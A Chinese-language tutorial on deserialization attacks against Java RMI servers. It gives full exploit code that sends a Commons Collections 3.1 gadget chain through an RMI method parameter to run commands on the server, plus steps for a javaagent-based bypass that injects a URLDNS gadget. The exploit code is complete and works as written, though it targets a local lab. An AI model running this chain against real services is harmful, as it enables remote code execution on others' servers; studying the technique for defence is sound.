0x01 前言

在RMI的整个传输过程中,你会发现都是在进行序列化与反序列化
利用这个特性,我们可以尝试对RMI服务端进行反序列化攻击

但想对RMI服务端进行反序列化攻击,需要满足两个条件

  1. 需要RMI服务端有一个不是基础数据类型参数的远程方法
  2. 需要RMI服务端存在有可反序列化利用链的jar包

基础类型为: boolean、char、byte、short、int、long、float、double

0x02 环境

  1. 编辑器为: IntelliJ IDEA
  2. java版本:
  3. java version "1.7.0_80"
  4. Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
  5. Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
  6. 使用的架包:
  7. Commons Collections 3.1

0x03 例子一-利用Object类型参数

0x03.1 案例介绍

假设我们现在有一台服务器,这台服务器放注册中心与RMI服务端
然后RMI服务端,创建了个RMITestImpl2类,并向注册中心注册了RMITestImpl2
RMITestImpl2类,里面有两个public方法分别是test()hello(Object o)

现在我们要利用开放的hello(Object o)方法,尝试进行反序列化攻击

0x03.2 目录结构

  1. // 目录结构
  2. ├── RMITest2
  3. ├── RMITest2Interface.java
  4. ├── RMIServer
  5. ├── RMIServerTest2.java
  6. └── RMITestImpl2.java
  7. └── RMIExploit
  8. └── RMIExploitTest.java

0x03.3 公共接口

先定义一个远程接口,这个接口,服务端客户端都要使用到
也就是两台服务器都要保存一份的接口

  1. package RMITest2;
  2. import java.rmi.Remote;
  3. import java.rmi.RemoteException;
  4. /**
  5. * RMI测试接口
  6. * 定义一个远程接口, 继承java.rmi.Remote接口
  7. */
  8. public interface RMITest2Interface extends Remote {
  9. String test() throws RemoteException;
  10. String hello(Object o) throws RemoteException;
  11. }

0x03.4 创建注册中心与服务端

接着我们创建个RMITestImpl2类,继承UnicastRemoteObject类,实现RMITest2Interface接口
该类是一个远程接口实现类,用于被客户端调用与执行的
注意: 远程接口实现类必须继承UnicastRemoteObject类,用于生成存根/桩(Stub)骨架(Skeleton)

  1. package RMITest2.RMIServer;
  2. import RMITest2.RMITest2Interface;
  3. import java.rmi.RemoteException;
  4. import java.rmi.server.UnicastRemoteObject;
  5. public class RMITestImpl2 extends UnicastRemoteObject implements RMITest2Interface {
  6. /**
  7. * 调用父类的构造函数
  8. *
  9. * @throws RemoteException
  10. */
  11. protected RMITestImpl2() throws RemoteException {
  12. super();
  13. }
  14. @Override
  15. public String test() throws RemoteException {
  16. return "test~";
  17. }
  18. /**
  19. * RMI服务端可被攻击的环境
  20. *
  21. * @param o
  22. * @return
  23. * @throws RemoteException
  24. */
  25. @Override
  26. public String hello(Object o) throws RemoteException {
  27. return "hello~";
  28. }
  29. }

创建注册中心与服务端
客户端可以通过这个输出的URL直接访问远程对象,不需要知道远程实例对象的名称
因为服务端将RMITestImpl2对象,注册到了RMI注册中心上,并且公开了一个固定的路径 ,供客户端访问

  1. package RMITest2.RMIServer;
  2. import java.rmi.Naming;
  3. import java.rmi.registry.LocateRegistry;
  4. public class RMIServerTest2 {
  5. // 注册中心的服务器ip
  6. public static final String RMI_HOST = "127.0.0.1";
  7. // 注册中心设置的开放端口
  8. public static final int RMI_PORT = 9998;
  9. // RMI服务名称
  10. public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/hello";
  11. /**
  12. * 注册中心创建 与 服务端创建
  13. *
  14. * @param args
  15. */
  16. public static void main(String[] args) {
  17. try {
  18. // 创建注册中心
  19. LocateRegistry.createRegistry(RMI_PORT);
  20. // 服务端
  21. // 功能: 注册远程对象RMITestImpl2到RMI注册中心
  22. Naming.bind(RMI_NAME, new RMITestImpl2());
  23. // 输出该对象的访问地址
  24. System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
  25. } catch (Exception e) {
  26. e.printStackTrace();
  27. }
  28. }
  29. }
  30. // 运行该文件

0x03.5 攻击RMI服务端

  1. package RMITest2.RMIExploit;
  2. import RMITest2.RMITest2Interface;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.TransformedMap;
  8. import java.lang.annotation.Retention;
  9. import java.lang.reflect.Constructor;
  10. import java.rmi.Naming;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. public class RMIExploitTest {
  14. public static void main(String[] args) {
  15. try {
  16. String cmd = "open -a /System/Applications/Calculator.app";
  17. Object payload = getPayload(cmd);
  18. // 服务地址
  19. String rmiName = "rmi://127.0.0.1:9998/hello";
  20. // 查找远程RMI服务
  21. RMITest2Interface rt2 = (RMITest2Interface) Naming.lookup(rmiName);
  22. // 调用远程接口RMITest2Interface类的hello方法
  23. // 并且尝试进行漏洞利用
  24. String result2 = rt2.hello(payload);
  25. // 输出服务端执行结果
  26. System.out.println(result2);
  27. } catch (Exception e) {
  28. e.printStackTrace();
  29. }
  30. }
  31. /**
  32. * CC1反序列化
  33. * @param cmd
  34. * @return
  35. * @throws Exception
  36. */
  37. private static Object getPayload(String cmd) throws Exception {
  38. //构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码
  39. Transformer[] transformers = new Transformer[]{
  40. new ConstantTransformer(Runtime.class),
  41. new InvokerTransformer(
  42. "getMethod",
  43. new Class[]{String.class, Class[].class},
  44. new Object[]{"getRuntime", new Class[0]}
  45. ),
  46. new InvokerTransformer(
  47. "invoke",
  48. new Class[]{Object.class, Object[].class},
  49. new Object[]{null, new Object[0]}
  50. ),
  51. new InvokerTransformer(
  52. "exec",
  53. new Class[]{String.class},
  54. new Object[]{cmd}
  55. )
  56. };
  57. // 将 transformers 数组存入 ChaniedTransformer 这个继承类
  58. Transformer transformerChain = new ChainedTransformer(transformers);
  59. // 创建个 Map 准备拿来绑定 transformerChina
  60. Map innerMap = new HashMap();
  61. // put 第一个参数必须为 value, 第二个参数随便写
  62. innerMap.put("value", "xxxx");
  63. // 创建个 transformerChina 并绑定 innerMap
  64. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  65. // 反射机制调用AnnotationInvocationHandler类的构造函数
  66. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  67. Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
  68. //取消构造函数修饰符限制
  69. ctor.setAccessible(true);
  70. //获取 AnnotationInvocationHandler 类实例
  71. Object instance = ctor.newInstance(Retention.class, outerMap);
  72. return instance;
  73. }
  74. }
  75. // 运行结果
  76. 运行完毕以后,服务端会弹出一个计算器

0x03.6 原理

直接看为何在传输Object类的参数时,服务端会进行反序列化的吧
进入到sun.rmi.server.UnicastServerRef类的dispatch方法,打几个断点,如下:
image.png

接着在服务端,进行debug,记得要在服务端哦
image.png
image.png

然后在客户端,点击运行,就可以正式开始debug了
image.png

先看服务端var8hashToMethod_Map存着啥
image.png
就是服务端实现的RMI服务对象的二个方法
image.png
如果说var8 == null那就爆错

服务端对于Object类型参数反序列化的点位于unmarshalValue方法内,让我们继续debug看看
image.png
image.png
其中
var0是服务端接口方法设定的入参参数类型
var1是从客户端传来的的序列化数据流
var0.isPrimitive判断是否是默认基础类型

基础类型为: boolean、char、byte、short、int、long、float、double

而我们这个例子里面var0是为Ojbect不为基础类型所以进入了else进行了var1.readObject()

你会发现代码里面写着,当服务端设定的RMI方法的入参不是基础数据类型时,就会执行反序列化输入流
所以并不需要说那个参数就一定要是Ojbect只是说如果参数是Ojbect更加容易利用

这里有个Java的坑,就是Integer.TYPE的返回是int类
所以如果var0传的是Integer类似的参数,也是会进入else进行了var1.readObject()
因为Integer == Integer.TYPE为false,注意咯

那么不是基础数据类型又不是Ojbect的参数,如何利用呢?让我们查看例子二

0x04 例子二-绕过Object类型参数

0x04.1 前言

这里直接搬运 https://xz.aliyun.com/t/7930 啦啦0咯咯 大佬的话了

在例子一中,注意到:当服务端设定的RMI方法的入参不是基础数据类型时,就会执行反序列化输入流。
这里并不强求是要Object类型的参数才能var1.readObject

这里看似没问题,但是你细品

假如服务端的RMI方法接口的入参是name(java.lang.String)(String不在基础数据类型表中)
那么它就会进入else分支,执行var1.readObject(),但是var1又是我们客户端输出的值
假如我们输入的不是一个java.lang.String的值,而是一个Object对象
那么实际上也会被反序列化解析,即Object.readObject()完成任意命令执行

这种情况下,利用方法就被扩展了
从RMI服务端需要起一个具有Object参数的RMI方法 的利用条件限制
扩展到了RMI服务端只需要起一个具有不属于基础数据类型参数的RMI方法(比如String啥的)

攻击原理核心在于替换原本不是Object类型的参数变为Object类型。
之前我们修改String接口变为Object,是可以做到修改参数类型,但是那样还会修改method hash
所以这里只能修改底层代码,去替换原本的参数为我们想要的payload

afanti总结了以下途径(后发现是国外老哥先提出来的)

  1. 直接修改rmi底层源码
  2. 在运行时,添加调试器hook客户端,然后替换
  3. 在客户端使用Javassist工具更改字节码
  4. 使用代理,来替换已经序列化的对象中的参数信息

途径不同,目的都是一样的,我们使用afanti的RemoteObjectInvocationHandler项目来试验下可行性
github地址: https://github.com/Afant1/RemoteObjectInvocationHandler

接下来就让我们本地实验测试一下

0x04.2 前期准备

首先下载: https://github.com/Afant1/RemoteObjectInvocationHandler 进行编译

  1. // 使用方法
  2. 这是一个 java maven项目
  3. 导入idea,打开刚刚好下载好的源码
  4. 打开: /RemoteObjectInvocationHandler/pom.xml 安装对应的包
  5. 第一次安装依赖包需要比较久,慢慢等不要急
  6. 1mvn package 打好jar
  7. 2、运行RmiServer
  8. 3、运行RmiClient前,VM options参数填写:-javaagent:C:\...\xxx\rasp-1.0-SNAPSHOT.jar
  9. 4、最终会hookRemoteObjectInvocationHandler函数,修改第三个参数为URLDNS gadget
  10. 安装好对应包以后,打开:RemoteObjectInvocationHandlerHookVisitor.java修改DNSLog为自己的

接着打包成jar,如下图:
image.png
image.png
记住这个地址即可

0x04.3 目录结构

  1. // 目录结构
  2. ├── RMITest3
  3. ├── RMITest3Interface.java
  4. ├── RMIServer
  5. ├── RMIServerTest3.java
  6. └── RMITestImpl3.java
  7. └── RMIClient
  8. └── RMIClientTest.java

0x04.3 公共接口

先定义一个远程接口,这个接口,服务端客户端都要使用到
也就是两台服务器都要保存一份的接口

  1. package RMITest3;
  2. import java.rmi.Remote;
  3. import java.rmi.RemoteException;
  4. /**
  5. * RMI测试接口
  6. * 定义一个远程接口, 继承java.rmi.Remote接口
  7. */
  8. public interface RMITest3Interface extends Remote {
  9. String name(String s) throws RemoteException;
  10. }

0x04.4 创建注册中心与服务端

接着我们创建个RMITestImpl3类,继承UnicastRemoteObject类,实现RMITest3Interface接口
该类是一个远程接口实现类,用于被客户端调用与执行的

  1. package RMITest3.RMIServer;
  2. import RMITest3.RMITest3Interface;
  3. import java.rmi.RemoteException;
  4. import java.rmi.server.UnicastRemoteObject;
  5. public class RMITestImpl3 extends UnicastRemoteObject implements RMITest3Interface {
  6. /**
  7. * 调用父类的构造函数
  8. *
  9. * @throws RemoteException
  10. */
  11. protected RMITestImpl3() throws RemoteException {
  12. super();
  13. }
  14. /**
  15. * RMI服务端可被攻击的环境
  16. *
  17. * @param s
  18. * @return
  19. * @throws RemoteException
  20. */
  21. @Override
  22. public String name(String s) throws RemoteException {
  23. return s;
  24. }
  25. }

创建注册中心与服务端
客户端可以通过这个输出的URL直接访问远程对象,不需要知道远程实例对象的名称
因为服务端将RMITestImpl3对象,注册到了RMI注册中心上,并且公开了一个固定的路径 ,供客户端访问

  1. package RMITest3.RMIServer;
  2. import java.rmi.Naming;
  3. import java.rmi.registry.LocateRegistry;
  4. public class RMIServerTest3 {
  5. // 注册中心的服务器ip
  6. public static final String RMI_HOST = "127.0.0.1";
  7. // 注册中心设置的开放端口
  8. public static final int RMI_PORT = 9998;
  9. // RMI服务名称
  10. public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/t3";
  11. /**
  12. * 注册中心创建 与 服务端创建
  13. *
  14. * @param args
  15. */
  16. public static void main(String[] args) {
  17. try {
  18. // 创建注册中心
  19. LocateRegistry.createRegistry(RMI_PORT);
  20. // 服务端
  21. // 功能: 注册远程对象RMITestImpl3到RMI注册中心
  22. Naming.bind(RMI_NAME, new RMITestImpl3());
  23. // 输出该对象的访问地址
  24. System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
  25. } catch (Exception e) {
  26. e.printStackTrace();
  27. }
  28. }
  29. }
  30. // 运行该文件

0x04.5 攻击RMI服务端

  1. package RMITest3.RMIClient;
  2. import RMITest3.RMITest3Interface;
  3. import java.rmi.Naming;
  4. public class RMIClientTest {
  5. public static void main(String[] args) {
  6. try {
  7. // 服务地址
  8. String rmiName = "rmi://127.0.0.1:9998/t3";
  9. // 查找远程RMI服务
  10. RMITest3Interface rt3 = (RMITest3Interface) Naming.lookup(rmiName);
  11. // 调用远程接口RMITest3Interface类的name方法
  12. // 并且尝试进行漏洞利用
  13. String result3 = rt3.name("test");
  14. // 输出服务端执行结果
  15. System.out.println(result3);
  16. } catch (Exception e) {
  17. e.printStackTrace();
  18. }
  19. }
  20. }

创建好这个文件以后,先别着急运行,先打开这个
image.png

虚拟机现项: -javaagent:/xxxx/RemoteObjectInvocationHandler/target/rasp-1.0-SNAPSHOT.jar
image.png
image.png
然后在运行RMIClientTest类,接着dnslog就会收到消息了

0x05 结尾

像这样攻击服务端的,现在来非常少了,只能说心里记一下,知道这个如果遇到了满足条件的情况下,可以试试